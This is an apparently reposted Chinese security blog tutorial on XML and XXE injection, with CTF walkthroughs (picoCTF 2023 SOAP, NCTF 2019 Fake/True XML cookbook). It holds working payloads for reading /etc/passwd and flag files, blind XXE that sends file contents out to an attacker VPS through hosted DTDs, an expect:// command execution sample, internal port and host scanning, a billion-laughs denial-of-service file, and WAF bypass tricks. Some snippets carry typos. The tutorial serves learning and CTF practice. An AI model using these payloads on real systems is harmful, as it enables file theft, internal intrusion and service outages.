对于XXE的理解
2023-3-21 13:59:0 Author: xz.aliyun.com(查看原文) 阅读量:41 收藏

XXE漏洞

1.概念

XXE(XML External Entity Injection) 全称为 XML 外部实体注入

2.语法

XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 被设计为传输和存储数据,其焦点是数据的内容
XML 被设计用来结构化、存储以及传输信息
XML 允许创作者定义自己的标签和自己的文档结构

3.结构

1.XML 文档声明,在文档的第一行
2.XML 文档类型定义,即DTD,XXE 漏洞所在的地方
3.XML 文档元素

4.介绍一下XML文档

<?xml version="1.0"  encoding="utf-8" standalone="yes"?>
<!--第一行是XML声明-->
<!--这是XML处理指令的例子。处理指令以<?开始,以?>结束-->
<!--在<?后的第一个单词是处理指令名,在本例中是xml-->
<!--处理指令一定要顶格写,前面不能有任何空白-->

<students>


        <GREETING><!--开始标记-->

                Hello World<!--元素内容-->

        </GREETING><!--结束标记-->

        <student  gender="male" isHandsome="true">                
                <id>001</id>                
                <name>zhangsan</name>
                <address>Beijing</address>
                <score>50</score>
        </student>

        <student gender="female">                
                <id>002</id>                
                <name>lisi</name>
                <address>北京</address>
                <score/><!--为空的简写形式-->
        </student>

</students>

注:

文档注释用包围,不允许嵌套,允许多行注释。

XML里面的元素严格区分大小写

XML文档必须有且只有一个根元素。(根元素是一个完全包括文档中其他所有元素的元素。)

0x01:XML文档说明

每一个XML文档都以一个XML声明开始,用以指明所用的XML的版本。

XML声明有version 、encoding和standalone特性。

version特性表明这个文档符合XML 1.0规范。

encoding 属性指定了编码格式,默认情况下是utf-8,这个属性要放在属性前面。

像standalone是XML文档的属性,位于等号左边的是特姓名,而其值位于等号的右边,并用双引号或单引号括起来。

自定义的元素也可以有一个或多个属性,其属性值使用单引号或者双引号括起来。

如果属性值中有双引号则使用单引号,反之亦然。

属性的形式为:

属性名= "属性值",比如gender="male"。

多个属性值之间用空格隔开(一个或多个空格都可以)。

在一个元素上,相同的属性只能出现一次。

属性值不能包含<, >, &。

0x02:实体

实体叫ENTITY,实体的作用是避免重复输入。

在XML中,有5个预定义的实体引用

自定义实体语法:

<!DOCTYPE 根元素[

 <!ENTITY 实体名 "实体内容">

 ]>

引用已定义的实体:

    &实体名;
0x03:处理指令PI

处理指令用于XML解析器传递信息到应用程序。

  语法:<?目标 指令?>

  PI必须以一个叫做目标的标识符开头,这个标识符遵从如同元素和属性一样的规则,目标是指令所指向的应用的名称,指令是传递给应用程序的信息。

0x04:CDATA节

 用于把整段文本解释为纯字符数据而不是标记的情况。

  包含大量的<、>、&、或者"字符。CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是XML标记。

  语法:

<![CDATA[

......

]]>

  可以输入任意字符(除]]外),不能嵌套。

<?xml version="1.0" encoding="utf-8"?>
<root>
        <![CDATA[

        <hello>
                <world>


            这里放任何内容都是合法的

        ]]> 

        <subRoot>

        </subRoot>
</root>
0x05:PCDATA节

PCDATA表示已解析的字符数据。

PCDATA 的意思是被解析的字符数据(parsed character data)。可以把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。但是,被解析的字符数据不应当包含任何 & < > 字符;需要使用 & < > 实体来分别替换它们。

5.什么是DTD

DTD是XML文档的一个格式规范

exp:

<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
<!DOCTYPE message [
#这个就是定义了一个根元素message
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
#这里就是为根元素message定义了4个子元素,receiver,sender,header,msg,然后这4个元素必须要出现而且要按照顺序

6.DTD的三种应用形式:

1.内部DTD文档
<!DOCTYPE 根元素[定义内容]>
exp:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT data (aaa,bbb,ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
]>
2.外部DTD文档
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
exp:外部的DTD文档
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT data (aaa, bbb, ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "data.dtd">
<data>
    <aaa>1<aaa>
    <bbb>2<bbb>
    <ccc>3<ccc>
</data>
3.内外部DTD文档结合
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
exp:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "data.dtd" [
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT data (aaa, bbb, ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
]>

7.DTD元素

8.DTD实体

内部实体
<!ENTITY 实体名称 "实体的值">

一个实体由三部分构成: &符号, 一个实体名称, 以及一个分号 (;)

exp:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "hello">]>
<foo>&xxe;</foo>
这里定义的实体是xxe,实体的值是hello
外部实体
<!ENTITY 实体名称 SYSTEM "URL">

XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEMPUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以利用如下协议

file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
<!ENTITY %实体名称 "值">
<!ENTITY %实体名称 SYSTEM "URL">
exp:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
外部evil.dtd的内容
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
公共实体
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

9.利用XXE攻击

读取任意文件

有回显

我们结合具体题目来分析

例题:

1.picoctf2023 SOAP

题目提示我们要看系统配置文件/etc/passwd

有三个按钮,都点了一下没有东西

看一下源码,源码有一个xml的js文件看一下

window.contentType = 'application/xml';

function payload(data) {
    var xml = '<?xml version="1.0" encoding="UTF-8"?>';
    xml += '<data>';

    for(var pair of data.entries()) {
        var key = pair[0];
        var value = pair[1];

        xml += '<' + key + '>' + value + '</' + key + '>';
    }

    xml += '</data>';
    return xml;
}

这里有一个XML文档说明

以及说明了XML的根元素为data

抓一下包看一下

这里POST了一个ID的变量,我这里猜测ID就是key(题目的DTD感觉缺失了一些东西)

构造我们的payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd"
]>
<data>
    <ID>
        2&xxe;
    </ID>
</data>

发现无回显,继续检查一下,发现我们这里的Content-Type为application/x-www-form-urlencoded,这就是问题所在

改为application/xml,发现成功得到flag

2.[NCTF 2019]Fake XML cookbook

随便测试一下,发现通过报错信息回显

查看一下源码

function doLogin(){
    var username = $("#username").val();
    var password = $("#password").val();
    if(username == "" || password == ""){
        alert("Please enter the username and password!");
        return;
    }

    var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
            var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
            var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
            if(code == "0"){
                $(".msg").text(msg + " login fail!");
            }else if(code == "1"){
                $(".msg").text(msg + " login success!");
            }else{
                $(".msg").text("error:" + msg);
            }
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }

这里给出了我们DTD,我们根据DTD进行构造payload即可

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [     #根据给出的DTD,可知根元素是data
<!ENTITY xxe SYSTEM "file:///etc/passwd"> #尝试读取系统配置文件
]>
<user>
    <username>2&xxe;</username>
    <password>11</password>
</user>

成功回显

尝试直接读取flag

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
    <username>2&xxe;</username>
    <password>11</password>
</user>

3.[NCTF 2019]True XML cookbook

跟上一道题的源码一样,尝试沿用上题的payload发现不能直接获取flag了,尝试利用XXE进行RCE,发现应该是php没有装有expect扩展,无法实现RCE

就感觉有可能是内网探测

利用/proc/net/arp读取到内网的另一台服务器的IP地址172.18.0.1

尝试爆破端口,我爆破到10000多也没有什么信息,

之后查看内网存活主机/etc/hosts

发现有一台存活主机

直接访问发现不行,就利用BP爆破跑内网存活主机,跑出flag

无回显

也就是我们的blind xxe,一般没有echo,return这些函数,返回不了数值

(需要在自己的VPS上配置上http服务,可以从公网访问我们的dtd文件和xml文件)

方案一:

在自己的VPS上创建一个test.php

<?php 
file_put_contents("test.txt", $_GET['file']) ; 
?>

再创建一个index.php

<?php 
$xml=<<<EOF 
<?xml version="1.0"?> 
<!DOCTYPE ANY[ 
<!ENTITY % file SYSTEM "file:///C:/test.txt"> 
<!ENTITY % remote SYSTEM "http://VPS-IP/test.xml"> 
%remote;
%all;
%send; 
]> 
EOF; 
$data = simplexml_load_string($xml) ; 
echo "<pre>" ; 
print_r($data) ; 
?>

再创建一个test.xml

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps-ip/test.php?file=%file;'>">

当访问http://vps-ip/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。

方案二

可以将文件内容发送到远程服务器,然后读取。

exp:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> 
%dtd; %all; 
]> 
<value>&send;</value>

然后在自己的VPS上创建一个evil.xml,内容为

<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">

用来获取用户的配置文件

方案三

可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)vps-ip.

exp:
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./aaa.php"> # /etc/issue
<!ENTITY % dtd SYSTEM "http://VPS-IP/evil.dtd">
%dtd;
%send;
]>

evil.dtd的内容,内部的%号要进行实体编码成&#x25。下面是具体的代码实现

<!ENTITY % all
“<!ENTITY % send SYSTEM ‘http://VPS-IP/?%file;’>”
>
%all;

如果有报错的话直接查看VPS的报错信息能得到aaa.php的base64编码后的结果

没有的话可以查看VPS的日志信息,能看到经过base64编码后的数据

方案四

其实跟方案四差不多,但是可以利用监听VPS端口来获取信息

方法是在自己的VPS上创建一个evil.dtd

exp:
<!ENTITY % dtd "<!ENTITY % xxe  SYSTEM 'http://VPS-IP:3333/%file;'> ">
%dtd;
%xxe;

之后再根据题目的要求,上传一个payload

exp:
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://VPS-IP/evil.dtd">
%aaa;
]>
<root>66666</root>

之后在自己的VPS上监听3333端口就行

python -m http.server 3333
#前提是自己的VPS需要配置好http服务

命令执行

在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除有幸运的情况咯,这里就搬一下大师傅的代码以供参考:

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
  <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

探测端口

适用于有回显和blind xxe,是外部一般实体

exp:
<?xml version="1.0"?>

<!DOCTYPE ANY [

    <!ENTITY contentSYSTEM "http://10.165.89.150:88">]>

<name>&content;</name>

根据响应时间判断:(看BP右下角的响应时间)

开放端口,响应时间为16millis

未开放端口,延迟反应1047millis

内网存活主机扫描

跟探测端口类似,只不过我们这里是通过文件读取,先查看有没有存活的内网服务器,然后利用BP进行目录遍历爆破IP

exp:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/hosts">
]>
<user>
    <username>2&xxe;</username>
    <password>11</password>
</user>
exp:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "http://10.0.86.10">
]>
<user><username>&admin;</username><password>123456</password></user>

DOS攻击

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

XML解析器尝试解析该文件时,由于DTD的定义指数级展开(即递归引用),举个例子,这里定义了一个lol的实体,实体还有“lol”的字符串,然后定义了一个lol2的实体,里面有10个"lol"的字符串,依次递推,一个lol3实体引用10个lol2实体,这样的话可以一直向服务器传输文件,也就是形成了DOS攻击,经过XML解析器解析后的内存占用会比其本身大的多。

10.对于waf以及正则匹配的绕过

编码绕过

对于一些CTF的题目,会对SYSTEM等关键词进行过滤,我们可以利用UTF-16等转码后进行绕过

可以利用linux中的命令iconv

iconv -f utf8 -t utf16 1.xml>test.xml
iconv -f #指定待转换文件的编码
iconv -t #制定目标编码
空格绕过

XML文档有一个特性,在设置标签属性的格式时可以运用多个空格,所以我们可以在XML声明,定义实体的地方利用足够多的空格来进行绕过

exp:
<?xml 






version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> 
%dtd; %all; 
]> 
<value>&send;</value>

参考

XML外部实体注入 - 先知社区 (aliyun.com)

一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区 (aliyun.com)

十亿笑攻击 - 维基百科 (wikipedia.org)


文章来源: https://xz.aliyun.com/t/12325
如有侵权请联系:admin#unsafe.sh